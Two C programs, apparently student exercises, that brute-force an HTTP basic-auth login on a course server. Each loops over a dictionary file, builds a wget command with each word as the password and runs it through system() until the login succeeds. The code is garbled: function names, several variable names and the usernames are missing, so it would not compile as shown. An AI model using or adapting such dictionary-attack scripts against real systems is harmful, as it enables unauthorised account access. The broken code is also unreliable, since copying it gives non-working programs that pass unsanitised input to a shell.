

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}
